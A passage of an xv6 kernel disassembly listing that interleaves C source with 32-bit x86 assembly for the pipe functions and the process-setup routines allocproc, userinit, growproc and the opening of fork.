pipeclose(struct pipe *p, int writable)
{
80104082: 55 push %ebp
80104083: 89 e5 mov %esp,%ebp
80104085: 83 ec 18 sub $0x18,%esp
acquire(&p->lock);
80104088: 8b 45 08 mov 0x8(%ebp),%eax
8010408b: 89 04 24 mov %eax,(%esp)
8010408e: e8 7e 0d 00 00 call 80104e11 <acquire>
if(writable){
80104093: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
80104097: 74 1f je 801040b8 <pipeclose+0x36>
p->writeopen = 0;
80104099: 8b 45 08 mov 0x8(%ebp),%eax
8010409c: c7 80 40 02 00 00 00 movl $0x0,0x240(%eax)
801040a3: 00 00 00
wakeup(&p->nread);
801040a6: 8b 45 08 mov 0x8(%ebp),%eax
801040a9: 05 34 02 00 00 add $0x234,%eax
801040ae: 89 04 24 mov %eax,(%esp)
801040b1: e8 6a 0b 00 00 call 80104c20 <wakeup>
801040b6: eb 1d jmp 801040d5 <pipeclose+0x53>
} else {
p->readopen = 0;
801040b8: 8b 45 08 mov 0x8(%ebp),%eax
801040bb: c7 80 3c 02 00 00 00 movl $0x0,0x23c(%eax)
801040c2: 00 00 00
wakeup(&p->nwrite);
801040c5: 8b 45 08 mov 0x8(%ebp),%eax
801040c8: 05 38 02 00 00 add $0x238,%eax
801040cd: 89 04 24 mov %eax,(%esp)
801040d0: e8 4b 0b 00 00 call 80104c20 <wakeup>
}
if(p->readopen == 0 && p->writeopen == 0){
801040d5: 8b 45 08 mov 0x8(%ebp),%eax
801040d8: 8b 80 3c 02 00 00 mov 0x23c(%eax),%eax
801040de: 85 c0 test %eax,%eax
801040e0: 75 25 jne 80104107 <pipeclose+0x85>
801040e2: 8b 45 08 mov 0x8(%ebp),%eax
801040e5: 8b 80 40 02 00 00 mov 0x240(%eax),%eax
801040eb: 85 c0 test %eax,%eax
801040ed: 75 18 jne 80104107 <pipeclose+0x85>
release(&p->lock);
801040ef: 8b 45 08 mov 0x8(%ebp),%eax
801040f2: 89 04 24 mov %eax,(%esp)
801040f5: e8 79 0d 00 00 call 80104e73 <release>
kfree((char*)p);
801040fa: 8b 45 08 mov 0x8(%ebp),%eax
801040fd: 89 04 24 mov %eax,(%esp)
80104100: e8 44 e9 ff ff call 80102a49 <kfree>
80104105: eb 0b jmp 80104112 <pipeclose+0x90>
} else
release(&p->lock);
80104107: 8b 45 08 mov 0x8(%ebp),%eax
8010410a: 89 04 24 mov %eax,(%esp)
8010410d: e8 61 0d 00 00 call 80104e73 <release>
}
80104112: c9 leave
80104113: c3 ret
80104114 <pipewrite>:
//PAGEBREAK: 40
int
pipewrite(struct pipe *p, char *addr, int n)
{
80104114: 55 push %ebp
80104115: 89 e5 mov %esp,%ebp
80104117: 83 ec 28 sub $0x28,%esp
int i;
acquire(&p->lock);
8010411a: 8b 45 08 mov 0x8(%ebp),%eax
8010411d: 89 04 24 mov %eax,(%esp)
80104120: e8 ec 0c 00 00 call 80104e11 <acquire>
for(i = 0; i < n; i++){
80104125: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
8010412c: e9 a6 00 00 00 jmp 801041d7 <pipewrite+0xc3>
while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full
80104131: eb 57 jmp 8010418a <pipewrite+0x76>
if(p->readopen == 0 || proc->killed){
80104133: 8b 45 08 mov 0x8(%ebp),%eax
80104136: 8b 80 3c 02 00 00 mov 0x23c(%eax),%eax
8010413c: 85 c0 test %eax,%eax
8010413e: 74 0d je 8010414d <pipewrite+0x39>
80104140: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104146: 8b 40 24 mov 0x24(%eax),%eax
80104149: 85 c0 test %eax,%eax
8010414b: 74 15 je 80104162 <pipewrite+0x4e>
release(&p->lock);
8010414d: 8b 45 08 mov 0x8(%ebp),%eax
80104150: 89 04 24 mov %eax,(%esp)
80104153: e8 1b 0d 00 00 call 80104e73 <release>
return -1;
80104158: b8 ff ff ff ff mov $0xffffffff,%eax
8010415d: e9 9f 00 00 00 jmp 80104201 <pipewrite+0xed>
}
wakeup(&p->nread);
80104162: 8b 45 08 mov 0x8(%ebp),%eax
80104165: 05 34 02 00 00 add $0x234,%eax
8010416a: 89 04 24 mov %eax,(%esp)
8010416d: e8 ae 0a 00 00 call 80104c20 <wakeup>
sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep
80104172: 8b 45 08 mov 0x8(%ebp),%eax
80104175: 8b 55 08 mov 0x8(%ebp),%edx
80104178: 81 c2 38 02 00 00 add $0x238,%edx
8010417e: 89 44 24 04 mov %eax,0x4(%esp)
80104182: 89 14 24 mov %edx,(%esp)
80104185: e8 bd 09 00 00 call 80104b47 <sleep>
{
int i;
acquire(&p->lock);
for(i = 0; i < n; i++){
while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full
8010418a: 8b 45 08 mov 0x8(%ebp),%eax
8010418d: 8b 90 38 02 00 00 mov 0x238(%eax),%edx
80104193: 8b 45 08 mov 0x8(%ebp),%eax
80104196: 8b 80 34 02 00 00 mov 0x234(%eax),%eax
8010419c: 05 00 02 00 00 add $0x200,%eax
801041a1: 39 c2 cmp %eax,%edx
801041a3: 74 8e je 80104133 <pipewrite+0x1f>
return -1;
}
wakeup(&p->nread);
sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep
}
p->data[p->nwrite++ % PIPESIZE] = addr[i];
801041a5: 8b 45 08 mov 0x8(%ebp),%eax
801041a8: 8b 80 38 02 00 00 mov 0x238(%eax),%eax
801041ae: 8d 48 01 lea 0x1(%eax),%ecx
801041b1: 8b 55 08 mov 0x8(%ebp),%edx
801041b4: 89 8a 38 02 00 00 mov %ecx,0x238(%edx)
801041ba: 25 ff 01 00 00 and $0x1ff,%eax
801041bf: 89 c1 mov %eax,%ecx
801041c1: 8b 55 f4 mov -0xc(%ebp),%edx
801041c4: 8b 45 0c mov 0xc(%ebp),%eax
801041c7: 01 d0 add %edx,%eax
801041c9: 0f b6 10 movzbl (%eax),%edx
801041cc: 8b 45 08 mov 0x8(%ebp),%eax
801041cf: 88 54 08 34 mov %dl,0x34(%eax,%ecx,1)
pipewrite(struct pipe *p, char *addr, int n)
{
int i;
acquire(&p->lock);
for(i = 0; i < n; i++){
801041d3: 83 45 f4 01 addl $0x1,-0xc(%ebp)
801041d7: 8b 45 f4 mov -0xc(%ebp),%eax
801041da: 3b 45 10 cmp 0x10(%ebp),%eax
801041dd: 0f 8c 4e ff ff ff jl 80104131 <pipewrite+0x1d>
wakeup(&p->nread);
sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep
}
p->data[p->nwrite++ % PIPESIZE] = addr[i];
}
wakeup(&p->nread); //DOC: pipewrite-wakeup1
801041e3: 8b 45 08 mov 0x8(%ebp),%eax
801041e6: 05 34 02 00 00 add $0x234,%eax
801041eb: 89 04 24 mov %eax,(%esp)
801041ee: e8 2d 0a 00 00 call 80104c20 <wakeup>
release(&p->lock);
801041f3: 8b 45 08 mov 0x8(%ebp),%eax
801041f6: 89 04 24 mov %eax,(%esp)
801041f9: e8 75 0c 00 00 call 80104e73 <release>
return n;
801041fe: 8b 45 10 mov 0x10(%ebp),%eax
}
80104201: c9 leave
80104202: c3 ret
80104203 <piperead>:
int
piperead(struct pipe *p, char *addr, int n)
{
80104203: 55 push %ebp
80104204: 89 e5 mov %esp,%ebp
80104206: 53 push %ebx
80104207: 83 ec 24 sub $0x24,%esp
int i;
acquire(&p->lock);
8010420a: 8b 45 08 mov 0x8(%ebp),%eax
8010420d: 89 04 24 mov %eax,(%esp)
80104210: e8 fc 0b 00 00 call 80104e11 <acquire>
while(p->nread == p->nwrite && p->writeopen){ //DOC: pipe-empty
80104215: eb 3a jmp 80104251 <piperead+0x4e>
if(proc->killed){
80104217: 65 a1 04 00 00 00 mov %gs:0x4,%eax
8010421d: 8b 40 24 mov 0x24(%eax),%eax
80104220: 85 c0 test %eax,%eax
80104222: 74 15 je 80104239 <piperead+0x36>
release(&p->lock);
80104224: 8b 45 08 mov 0x8(%ebp),%eax
80104227: 89 04 24 mov %eax,(%esp)
8010422a: e8 44 0c 00 00 call 80104e73 <release>
return -1;
8010422f: b8 ff ff ff ff mov $0xffffffff,%eax
80104234: e9 b5 00 00 00 jmp 801042ee <piperead+0xeb>
}
sleep(&p->nread, &p->lock); //DOC: piperead-sleep
80104239: 8b 45 08 mov 0x8(%ebp),%eax
8010423c: 8b 55 08 mov 0x8(%ebp),%edx
8010423f: 81 c2 34 02 00 00 add $0x234,%edx
80104245: 89 44 24 04 mov %eax,0x4(%esp)
80104249: 89 14 24 mov %edx,(%esp)
8010424c: e8 f6 08 00 00 call 80104b47 <sleep>
piperead(struct pipe *p, char *addr, int n)
{
int i;
acquire(&p->lock);
while(p->nread == p->nwrite && p->writeopen){ //DOC: pipe-empty
80104251: 8b 45 08 mov 0x8(%ebp),%eax
80104254: 8b 90 34 02 00 00 mov 0x234(%eax),%edx
8010425a: 8b 45 08 mov 0x8(%ebp),%eax
8010425d: 8b 80 38 02 00 00 mov 0x238(%eax),%eax
80104263: 39 c2 cmp %eax,%edx
80104265: 75 0d jne 80104274 <piperead+0x71>
80104267: 8b 45 08 mov 0x8(%ebp),%eax
8010426a: 8b 80 40 02 00 00 mov 0x240(%eax),%eax
80104270: 85 c0 test %eax,%eax
80104272: 75 a3 jne 80104217 <piperead+0x14>
release(&p->lock);
return -1;
}
sleep(&p->nread, &p->lock); //DOC: piperead-sleep
}
for(i = 0; i < n; i++){ //DOC: piperead-copy
80104274: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
8010427b: eb 4b jmp 801042c8 <piperead+0xc5>
if(p->nread == p->nwrite)
8010427d: 8b 45 08 mov 0x8(%ebp),%eax
80104280: 8b 90 34 02 00 00 mov 0x234(%eax),%edx
80104286: 8b 45 08 mov 0x8(%ebp),%eax
80104289: 8b 80 38 02 00 00 mov 0x238(%eax),%eax
8010428f: 39 c2 cmp %eax,%edx
80104291: 75 02 jne 80104295 <piperead+0x92>
break;
80104293: eb 3b jmp 801042d0 <piperead+0xcd>
addr[i] = p->data[p->nread++ % PIPESIZE];
80104295: 8b 55 f4 mov -0xc(%ebp),%edx
80104298: 8b 45 0c mov 0xc(%ebp),%eax
8010429b: 8d 1c 02 lea (%edx,%eax,1),%ebx
8010429e: 8b 45 08 mov 0x8(%ebp),%eax
801042a1: 8b 80 34 02 00 00 mov 0x234(%eax),%eax
801042a7: 8d 48 01 lea 0x1(%eax),%ecx
801042aa: 8b 55 08 mov 0x8(%ebp),%edx
801042ad: 89 8a 34 02 00 00 mov %ecx,0x234(%edx)
801042b3: 25 ff 01 00 00 and $0x1ff,%eax
801042b8: 89 c2 mov %eax,%edx
801042ba: 8b 45 08 mov 0x8(%ebp),%eax
801042bd: 0f b6 44 10 34 movzbl 0x34(%eax,%edx,1),%eax
801042c2: 88 03 mov %al,(%ebx)
release(&p->lock);
return -1;
}
sleep(&p->nread, &p->lock); //DOC: piperead-sleep
}
for(i = 0; i < n; i++){ //DOC: piperead-copy
801042c4: 83 45 f4 01 addl $0x1,-0xc(%ebp)
801042c8: 8b 45 f4 mov -0xc(%ebp),%eax
801042cb: 3b 45 10 cmp 0x10(%ebp),%eax
801042ce: 7c ad jl 8010427d <piperead+0x7a>
if(p->nread == p->nwrite)
break;
addr[i] = p->data[p->nread++ % PIPESIZE];
}
wakeup(&p->nwrite); //DOC: piperead-wakeup
801042d0: 8b 45 08 mov 0x8(%ebp),%eax
801042d3: 05 38 02 00 00 add $0x238,%eax
801042d8: 89 04 24 mov %eax,(%esp)
801042db: e8 40 09 00 00 call 80104c20 <wakeup>
release(&p->lock);
801042e0: 8b 45 08 mov 0x8(%ebp),%eax
801042e3: 89 04 24 mov %eax,(%esp)
801042e6: e8 88 0b 00 00 call 80104e73 <release>
return i;
801042eb: 8b 45 f4 mov -0xc(%ebp),%eax
}
801042ee: 83 c4 24 add $0x24,%esp
801042f1: 5b pop %ebx
801042f2: 5d pop %ebp
801042f3: c3 ret
801042f4 <readeflags>:
asm volatile("ltr %0" : : "r" (sel));
}
static inline uint
readeflags(void)
{
801042f4: 55 push %ebp
801042f5: 89 e5 mov %esp,%ebp
801042f7: 83 ec 10 sub $0x10,%esp
uint eflags;
asm volatile("pushfl; popl %0" : "=r" (eflags));
801042fa: 9c pushf
801042fb: 58 pop %eax
801042fc: 89 45 fc mov %eax,-0x4(%ebp)
return eflags;
801042ff: 8b 45 fc mov -0x4(%ebp),%eax
}
80104302: c9 leave
80104303: c3 ret
80104304 <sti>:
asm volatile("cli");
}
static inline void
sti(void)
{
80104304: 55 push %ebp
80104305: 89 e5 mov %esp,%ebp
asm volatile("sti");
80104307: fb sti
}
80104308: 5d pop %ebp
80104309: c3 ret
8010430a <pinit>:
static void wakeup1(void *chan);
void
pinit(void)
{
8010430a: 55 push %ebp
8010430b: 89 e5 mov %esp,%ebp
8010430d: 83 ec 18 sub $0x18,%esp
initlock(&ptable.lock, "ptable");
80104310: c7 44 24 04 79 89 10 movl $0x80108979,0x4(%esp)
80104317: 80
80104318: c7 04 24 e0 29 11 80 movl $0x801129e0,(%esp)
8010431f: e8 cc 0a 00 00 call 80104df0 <initlock>
}
80104324: c9 leave
80104325: c3 ret
80104326 <allocproc>:
// If found, change state to EMBRYO and initialize
// state required to run in the kernel.
// Otherwise return 0.
static struct proc*
allocproc(void)
{
80104326: 55 push %ebp
80104327: 89 e5 mov %esp,%ebp
80104329: 83 ec 28 sub $0x28,%esp
struct proc *p;
char *sp;
acquire(&ptable.lock);
8010432c: c7 04 24 e0 29 11 80 movl $0x801129e0,(%esp)
80104333: e8 d9 0a 00 00 call 80104e11 <acquire>
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
80104338: c7 45 f4 14 2a 11 80 movl $0x80112a14,-0xc(%ebp)
8010433f: eb 50 jmp 80104391 <allocproc+0x6b>
if(p->state == UNUSED)
80104341: 8b 45 f4 mov -0xc(%ebp),%eax
80104344: 8b 40 0c mov 0xc(%eax),%eax
80104347: 85 c0 test %eax,%eax
80104349: 75 42 jne 8010438d <allocproc+0x67>
goto found;
8010434b: 90 nop
release(&ptable.lock);
return 0;
found:
p->state = EMBRYO;
8010434c: 8b 45 f4 mov -0xc(%ebp),%eax
8010434f: c7 40 0c 01 00 00 00 movl $0x1,0xc(%eax)
p->pid = nextpid++;
80104356: a1 04 b0 10 80 mov 0x8010b004,%eax
8010435b: 8d 50 01 lea 0x1(%eax),%edx
8010435e: 89 15 04 b0 10 80 mov %edx,0x8010b004
80104364: 8b 55 f4 mov -0xc(%ebp),%edx
80104367: 89 42 10 mov %eax,0x10(%edx)
release(&ptable.lock);
8010436a: c7 04 24 e0 29 11 80 movl $0x801129e0,(%esp)
80104371: e8 fd 0a 00 00 call 80104e73 <release>
// Allocate kernel stack.
if((p->kstack = kalloc()) == 0){
80104376: e8 67 e7 ff ff call 80102ae2 <kalloc>
8010437b: 8b 55 f4 mov -0xc(%ebp),%edx
8010437e: 89 42 08 mov %eax,0x8(%edx)
80104381: 8b 45 f4 mov -0xc(%ebp),%eax
80104384: 8b 40 08 mov 0x8(%eax),%eax
80104387: 85 c0 test %eax,%eax
80104389: 75 33 jne 801043be <allocproc+0x98>
8010438b: eb 20 jmp 801043ad <allocproc+0x87>
{
struct proc *p;
char *sp;
acquire(&ptable.lock);
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
8010438d: 83 45 f4 7c addl $0x7c,-0xc(%ebp)
80104391: 81 7d f4 14 49 11 80 cmpl $0x80114914,-0xc(%ebp)
80104398: 72 a7 jb 80104341 <allocproc+0x1b>
if(p->state == UNUSED)
goto found;
release(&ptable.lock);
8010439a: c7 04 24 e0 29 11 80 movl $0x801129e0,(%esp)
801043a1: e8 cd 0a 00 00 call 80104e73 <release>
return 0;
801043a6: b8 00 00 00 00 mov $0x0,%eax
801043ab: eb 76 jmp 80104423 <allocproc+0xfd>
p->pid = nextpid++;
release(&ptable.lock);
// Allocate kernel stack.
if((p->kstack = kalloc()) == 0){
p->state = UNUSED;
801043ad: 8b 45 f4 mov -0xc(%ebp),%eax
801043b0: c7 40 0c 00 00 00 00 movl $0x0,0xc(%eax)
return 0;
801043b7: b8 00 00 00 00 mov $0x0,%eax
801043bc: eb 65 jmp 80104423 <allocproc+0xfd>
}
sp = p->kstack + KSTACKSIZE;
801043be: 8b 45 f4 mov -0xc(%ebp),%eax
801043c1: 8b 40 08 mov 0x8(%eax),%eax
801043c4: 05 00 10 00 00 add $0x1000,%eax
801043c9: 89 45 f0 mov %eax,-0x10(%ebp)
// Leave room for trap frame.
sp -= sizeof *p->tf;
801043cc: 83 6d f0 4c subl $0x4c,-0x10(%ebp)
p->tf = (struct trapframe*)sp;
801043d0: 8b 45 f4 mov -0xc(%ebp),%eax
801043d3: 8b 55 f0 mov -0x10(%ebp),%edx
801043d6: 89 50 18 mov %edx,0x18(%eax)
// Set up new context to start executing at forkret,
// which returns to trapret.
sp -= 4;
801043d9: 83 6d f0 04 subl $0x4,-0x10(%ebp)
*(uint*)sp = (uint)trapret;
801043dd: ba 79 64 10 80 mov $0x80106479,%edx
801043e2: 8b 45 f0 mov -0x10(%ebp),%eax
801043e5: 89 10 mov %edx,(%eax)
sp -= sizeof *p->context;
801043e7: 83 6d f0 14 subl $0x14,-0x10(%ebp)
p->context = (struct context*)sp;
801043eb: 8b 45 f4 mov -0xc(%ebp),%eax
801043ee: 8b 55 f0 mov -0x10(%ebp),%edx
801043f1: 89 50 1c mov %edx,0x1c(%eax)
memset(p->context, 0, sizeof *p->context);
801043f4: 8b 45 f4 mov -0xc(%ebp),%eax
801043f7: 8b 40 1c mov 0x1c(%eax),%eax
801043fa: c7 44 24 08 14 00 00 movl $0x14,0x8(%esp)
80104401: 00
80104402: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80104409: 00
8010440a: 89 04 24 mov %eax,(%esp)
8010440d: e8 53 0c 00 00 call 80105065 <memset>
p->context->eip = (uint)forkret;
80104412: 8b 45 f4 mov -0xc(%ebp),%eax
80104415: 8b 40 1c mov 0x1c(%eax),%eax
80104418: ba 1b 4b 10 80 mov $0x80104b1b,%edx
8010441d: 89 50 10 mov %edx,0x10(%eax)
return p;
80104420: 8b 45 f4 mov -0xc(%ebp),%eax
}
80104423: c9 leave
80104424: c3 ret
80104425 <userinit>:
//PAGEBREAK: 32
// Set up first user process.
void
userinit(void)
{
80104425: 55 push %ebp
80104426: 89 e5 mov %esp,%ebp
80104428: 83 ec 28 sub $0x28,%esp
struct proc *p;
extern char _binary_initcode_start[], _binary_initcode_size[];
p = allocproc();
8010442b: e8 f6 fe ff ff call 80104326 <allocproc>
80104430: 89 45 f4 mov %eax,-0xc(%ebp)
initproc = p;
80104433: 8b 45 f4 mov -0xc(%ebp),%eax
80104436: a3 48 b6 10 80 mov %eax,0x8010b648
if((p->pgdir = setupkvm()) == 0)
8010443b: e8 90 37 00 00 call 80107bd0 <setupkvm>
80104440: 8b 55 f4 mov -0xc(%ebp),%edx
80104443: 89 42 04 mov %eax,0x4(%edx)
80104446: 8b 45 f4 mov -0xc(%ebp),%eax
80104449: 8b 40 04 mov 0x4(%eax),%eax
8010444c: 85 c0 test %eax,%eax
8010444e: 75 0c jne 8010445c <userinit+0x37>
panic("userinit: out of memory?");
80104450: c7 04 24 80 89 10 80 movl $0x80108980,(%esp)
80104457: e8 de c0 ff ff call 8010053a <panic>
inituvm(p->pgdir, _binary_initcode_start, (int)_binary_initcode_size);
8010445c: ba 2c 00 00 00 mov $0x2c,%edx
80104461: 8b 45 f4 mov -0xc(%ebp),%eax
80104464: 8b 40 04 mov 0x4(%eax),%eax
80104467: 89 54 24 08 mov %edx,0x8(%esp)
8010446b: c7 44 24 04 e0 b4 10 movl $0x8010b4e0,0x4(%esp)
80104472: 80
80104473: 89 04 24 mov %eax,(%esp)
80104476: e8 a9 39 00 00 call 80107e24 <inituvm>
p->sz = PGSIZE;
8010447b: 8b 45 f4 mov -0xc(%ebp),%eax
8010447e: c7 00 00 10 00 00 movl $0x1000,(%eax)
memset(p->tf, 0, sizeof(*p->tf));
80104484: 8b 45 f4 mov -0xc(%ebp),%eax
80104487: 8b 40 18 mov 0x18(%eax),%eax
8010448a: c7 44 24 08 4c 00 00 movl $0x4c,0x8(%esp)
80104491: 00
80104492: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80104499: 00
8010449a: 89 04 24 mov %eax,(%esp)
8010449d: e8 c3 0b 00 00 call 80105065 <memset>
p->tf->cs = (SEG_UCODE << 3) | DPL_USER;
801044a2: 8b 45 f4 mov -0xc(%ebp),%eax
801044a5: 8b 40 18 mov 0x18(%eax),%eax
801044a8: 66 c7 40 3c 23 00 movw $0x23,0x3c(%eax)
p->tf->ds = (SEG_UDATA << 3) | DPL_USER;
801044ae: 8b 45 f4 mov -0xc(%ebp),%eax
801044b1: 8b 40 18 mov 0x18(%eax),%eax
801044b4: 66 c7 40 2c 2b 00 movw $0x2b,0x2c(%eax)
p->tf->es = p->tf->ds;
801044ba: 8b 45 f4 mov -0xc(%ebp),%eax
801044bd: 8b 40 18 mov 0x18(%eax),%eax
801044c0: 8b 55 f4 mov -0xc(%ebp),%edx
801044c3: 8b 52 18 mov 0x18(%edx),%edx
801044c6: 0f b7 52 2c movzwl 0x2c(%edx),%edx
801044ca: 66 89 50 28 mov %dx,0x28(%eax)
p->tf->ss = p->tf->ds;
801044ce: 8b 45 f4 mov -0xc(%ebp),%eax
801044d1: 8b 40 18 mov 0x18(%eax),%eax
801044d4: 8b 55 f4 mov -0xc(%ebp),%edx
801044d7: 8b 52 18 mov 0x18(%edx),%edx
801044da: 0f b7 52 2c movzwl 0x2c(%edx),%edx
801044de: 66 89 50 48 mov %dx,0x48(%eax)
p->tf->eflags = FL_IF;
801044e2: 8b 45 f4 mov -0xc(%ebp),%eax
801044e5: 8b 40 18 mov 0x18(%eax),%eax
801044e8: c7 40 40 00 02 00 00 movl $0x200,0x40(%eax)
p->tf->esp = PGSIZE;
801044ef: 8b 45 f4 mov -0xc(%ebp),%eax
801044f2: 8b 40 18 mov 0x18(%eax),%eax
801044f5: c7 40 44 00 10 00 00 movl $0x1000,0x44(%eax)
p->tf->eip = 0; // beginning of initcode.S
801044fc: 8b 45 f4 mov -0xc(%ebp),%eax
801044ff: 8b 40 18 mov 0x18(%eax),%eax
80104502: c7 40 38 00 00 00 00 movl $0x0,0x38(%eax)
safestrcpy(p->name, "initcode", sizeof(p->name));
80104509: 8b 45 f4 mov -0xc(%ebp),%eax
8010450c: 83 c0 6c add $0x6c,%eax
8010450f: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
80104516: 00
80104517: c7 44 24 04 99 89 10 movl $0x80108999,0x4(%esp)
8010451e: 80
8010451f: 89 04 24 mov %eax,(%esp)
80104522: e8 5e 0d 00 00 call 80105285 <safestrcpy>
p->cwd = namei("/");
80104527: c7 04 24 a2 89 10 80 movl $0x801089a2,(%esp)
8010452e: e8 d3 de ff ff call 80102406 <namei>
80104533: 8b 55 f4 mov -0xc(%ebp),%edx
80104536: 89 42 68 mov %eax,0x68(%edx)
p->state = RUNNABLE;
80104539: 8b 45 f4 mov -0xc(%ebp),%eax
8010453c: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax)
}
80104543: c9 leave
80104544: c3 ret
80104545 <growproc>:
// Grow current process's memory by n bytes.
// Return 0 on success, -1 on failure.
int
growproc(int n)
{
80104545: 55 push %ebp
80104546: 89 e5 mov %esp,%ebp
80104548: 83 ec 28 sub $0x28,%esp
uint sz;
sz = proc->sz;
8010454b: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104551: 8b 00 mov (%eax),%eax
80104553: 89 45 f4 mov %eax,-0xc(%ebp)
if(n > 0){
80104556: 83 7d 08 00 cmpl $0x0,0x8(%ebp)
8010455a: 7e 34 jle 80104590 <growproc+0x4b>
if((sz = allocuvm(proc->pgdir, sz, sz + n)) == 0)
8010455c: 8b 55 08 mov 0x8(%ebp),%edx
8010455f: 8b 45 f4 mov -0xc(%ebp),%eax
80104562: 01 c2 add %eax,%edx
80104564: 65 a1 04 00 00 00 mov %gs:0x4,%eax
8010456a: 8b 40 04 mov 0x4(%eax),%eax
8010456d: 89 54 24 08 mov %edx,0x8(%esp)
80104571: 8b 55 f4 mov -0xc(%ebp),%edx
80104574: 89 54 24 04 mov %edx,0x4(%esp)
80104578: 89 04 24 mov %eax,(%esp)
8010457b: e8 1a 3a 00 00 call 80107f9a <allocuvm>
80104580: 89 45 f4 mov %eax,-0xc(%ebp)
80104583: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80104587: 75 41 jne 801045ca <growproc+0x85>
return -1;
80104589: b8 ff ff ff ff mov $0xffffffff,%eax
8010458e: eb 58 jmp 801045e8 <growproc+0xa3>
} else if(n < 0){
80104590: 83 7d 08 00 cmpl $0x0,0x8(%ebp)
80104594: 79 34 jns 801045ca <growproc+0x85>
if((sz = deallocuvm(proc->pgdir, sz, sz + n)) == 0)
80104596: 8b 55 08 mov 0x8(%ebp),%edx
80104599: 8b 45 f4 mov -0xc(%ebp),%eax
8010459c: 01 c2 add %eax,%edx
8010459e: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801045a4: 8b 40 04 mov 0x4(%eax),%eax
801045a7: 89 54 24 08 mov %edx,0x8(%esp)
801045ab: 8b 55 f4 mov -0xc(%ebp),%edx
801045ae: 89 54 24 04 mov %edx,0x4(%esp)
801045b2: 89 04 24 mov %eax,(%esp)
801045b5: e8 ba 3a 00 00 call 80108074 <deallocuvm>
801045ba: 89 45 f4 mov %eax,-0xc(%ebp)
801045bd: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
801045c1: 75 07 jne 801045ca <growproc+0x85>
return -1;
801045c3: b8 ff ff ff ff mov $0xffffffff,%eax
801045c8: eb 1e jmp 801045e8 <growproc+0xa3>
}
proc->sz = sz;
801045ca: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801045d0: 8b 55 f4 mov -0xc(%ebp),%edx
801045d3: 89 10 mov %edx,(%eax)
switchuvm(proc);
801045d5: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801045db: 89 04 24 mov %eax,(%esp)
801045de: e8 eb 36 00 00 call 80107cce <switchuvm>
return 0;
801045e3: b8 00 00 00 00 mov $0x0,%eax
}
801045e8: c9 leave
801045e9: c3 ret
801045ea <fork>:
// Create a new process copying p as the parent.
// Sets up stack to return as if from system call.
// Caller must set state of returned proc to RUNNABLE.
int
fork(void)
{
801045ea: 55 push %ebp
801045eb: 89 e5 mov %esp,%ebp
801045ed: 57 push %edi
801045ee: 56 push %esi
801045ef: 53 push %ebx
801045f0: 83 ec 2c sub $0x2c,%esp
int i, pid;
struct proc *np;
// Allocate process.
if((np = allocproc()) == 0)
801045f3: e8 2e fd ff ff call 80104326 <allocproc>
801045f8: 89 45 e0 mov %eax,-0x20(%ebp)
801045fb: 83 7d e0 00 cmpl $0x0,-0x20(%ebp)
801045ff: 75 0a jne 8010460b <fork+0x21>
return -1;
80104601: b8 ff ff ff ff mov $0xffffffff,%eax
80104606: e9 52 01 00 00 jmp 8010475d <fork+0x173>
// Copy process state from p.
if((np->pgdir = copyuvm(proc->pgdir, proc->sz)) == 0){
8010460b: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104611: 8b 10 mov (%eax),%edx
80104613: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104619: 8b 40 04 mov 0x4(%eax),%eax
8010461c: 89 54 24 04 mov %edx,0x4(%esp)
80104620: 89 04 24 mov %eax,(%esp)
80104623: e8 e8 3b 00 00 call 80108210 <copyuvm>
80104628: 8b 55 e0 mov -0x20(%ebp),%edx
8010462b: 89 42 04 mov %eax,0x4(%edx)
8010462e: 8b 45 e0 mov -0x20(%ebp),%eax
80104631: 8b 40 04 mov 0x4(%eax),%eax
80104634: 85 c0 test %eax,%eax
80104636: 75 2c jne 80104664 <fork+0x7a>
kfree(np->kstack);
80104638: 8b 45 e0 mov -0x20(%ebp),%eax
8010463b: 8b 40 08 mov 0x8(%eax),%eax
8010463e: 89 04 24 mov %eax,(%esp)
80104641: e8 03 e4 ff ff call 80102a49 <kfree>
np->kstack = 0;
80104646: 8b 45 e0 mov -0x20(%ebp),%eax
80104649: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax)
np->state = UNUSED;
80104650: 8b 45 e0 mov -0x20(%ebp),%eax
80104653: c7 40 0c 00 00 00 00 movl $0x0,0xc(%eax)
return -1;
8010465a: b8 ff ff ff ff mov $0xffffffff,%eax
8010465f: e9 f9 00 00 00 jmp 8010475d <fork+0x173>
}
np->sz = proc->sz;
80104664: 65 a1 04 00 00 00 mov %gs:0x4,%eax
8010466a: 8b 10 mov (%eax),%edx
8010466c: 8b 45 e0 mov -0x20(%ebp),%eax
8010466f: 89 10 mov %edx,(%eax)
np->parent = proc;
80104671: 65 8b 15 04 00 00 00 mov %gs:0x4,%edx
80104678: 8b 45 e0 mov -0x20(%ebp),%eax
8010467b: 89 50 14 mov %edx,0x14(%eax)
*np->tf = *proc->tf;
8010467e: 8b 45 e0 mov -0x20(%ebp),%eax
80104681: 8b 50 18 mov 0x18(%eax),%edx
80104684: 65 a1 04 00 00 00 mov %gs:0x4,%eax
8010468a: 8b 40 18 mov 0x18(%eax),%eax
8010468d: 89 c3 mov %eax,%ebx
8010468f: b8 13 00 00 00 mov $0x13,%eax
80104694: 89 d7 mov %edx,%edi
80104696: 89 de mov %ebx,%esi
80104698: 89 c1 mov %eax,%ecx
8010469a: f3 a5 rep movsl %ds:(%esi),%es:(%edi)
// Clear %eax so that fork returns 0 in the child.
np->tf->eax = 0;
